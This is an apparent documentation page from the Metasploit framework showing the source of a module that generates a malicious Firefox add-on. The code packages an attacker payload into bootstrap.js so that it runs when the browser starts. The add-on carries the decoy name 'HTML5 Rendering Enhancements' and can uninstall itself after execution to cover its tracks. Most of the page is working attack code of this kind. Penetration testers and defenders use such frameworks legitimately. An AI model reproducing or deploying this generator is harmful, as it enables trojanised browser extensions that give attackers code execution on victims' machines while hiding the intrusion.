Module: Msf::Exploit::Remote::FirefoxAddonGenerator

Includes:
FirefoxPrivilegeEscalation
Defined in:
lib/msf/core/exploit/remote/firefox_addon_generator.rb

Instance Method Summary collapse

Methods included from FirefoxPrivilegeEscalation

#exec_shellcode_source, #js_target?, #run_payload

Instance Method Details

#generate_addon_xpi(cli) ⇒ Rex::Zip::Archive

'application/x-xpinstall' MIME type

Returns:

  • (Rex::Zip::Archive)

    containing a .xpi, ready to be served with the

  • nil if payload fails to generate


49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
# File 'lib/msf/core/exploit/remote/firefox_addon_generator.rb', line 49

def generate_addon_xpi(cli)
  zip = Rex::Zip::Archive.new
  xpi_guid = Rex::Text.rand_guid
  p = regenerate_payload(cli).encoded
  bootstrap_script = 'function startup(data, reason) {'
  bootstrap_script << run_payload

  if (datastore['AutoUninstall'])
    bootstrap_script << %Q|var xpi_guid = "#{xpi_guid}";|
    bootstrap_script <<  %q|
      function uninstallMe() {
        try { // Fx < 4.0
          Components.classes["@mozilla.org/extensions/manager;1"]
            .getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);
        } catch (e) {}
        try { // Fx 4.0 and later
          Components.utils.import("resource://gre/modules/AddonManager.jsm");
          AddonManager.getAddonByID(xpi_guid, function(addon) {
            addon.uninstall();
          });
        } catch (e) {}
      }
      uninstallMe();
    |
  end

  bootstrap_script << "}"

  zip.add_file('bootstrap.js', bootstrap_script)
  zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")
  zip.add_file('install.rdf', %Q|<?xml version="1.0"?>
<RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#">
<Description about="urn:mozilla:install-manifest">
  <em:id>#{xpi_guid}</em:id>
  <em:name>#{datastore['ADDONNAME']}</em:name>
  <em:version>1.0</em:version>
  <em:bootstrap>true</em:bootstrap>
  <em:unpack>true</em:unpack>
  <em:targetApplication>
    <Description>
      <em:id>[email protected]</em:id>
      <em:minVersion>1.0</em:minVersion>
      <em:maxVersion>*</em:maxVersion>
    </Description>
  </em:targetApplication>
  <em:targetApplication>
    <Description>
      <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
      <em:minVersion>1.0</em:minVersion>
      <em:maxVersion>*</em:maxVersion>
    </Description>
  </em:targetApplication>
  </Description>
</RDF>|)
  zip.add_file('overlay.xul', %q|<?xml version="1.0"?>
<overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script src="bootstrap.js"/>
<script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script>
</overlay>|)
  zip
end

#initialize(info = {}) ⇒ Object

Add in the supported datastore options


15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# File 'lib/msf/core/exploit/remote/firefox_addon_generator.rb', line 15

def initialize(info={})
  super(update_info(info,
    'Platform'      => %w{ java linux osx solaris win },
    'Payload'       => { 'BadChars' => '', 'DisableNops' => true },
    'Targets'       =>
      [
        [
          'Universal (Javascript XPCOM Shell)', {
            'Platform' => 'firefox',
            'Arch' => ARCH_FIREFOX
          }
        ],
        [
          'Native Payload', {
            'Platform' => %w{ java linux osx solaris win },
            'Arch'     => ARCH_ALL
          }
        ]
      ],
    'DefaultTarget' => 0
  ))

  register_options([
    OptString.new('ADDONNAME', [ true, "The addon name.", "HTML5 Rendering Enhancements" ]),
    OptBool.new('AutoUninstall', [ true,
      "Automatically uninstall the addon after payload execution",
      true
    ])
  ], self.class)
end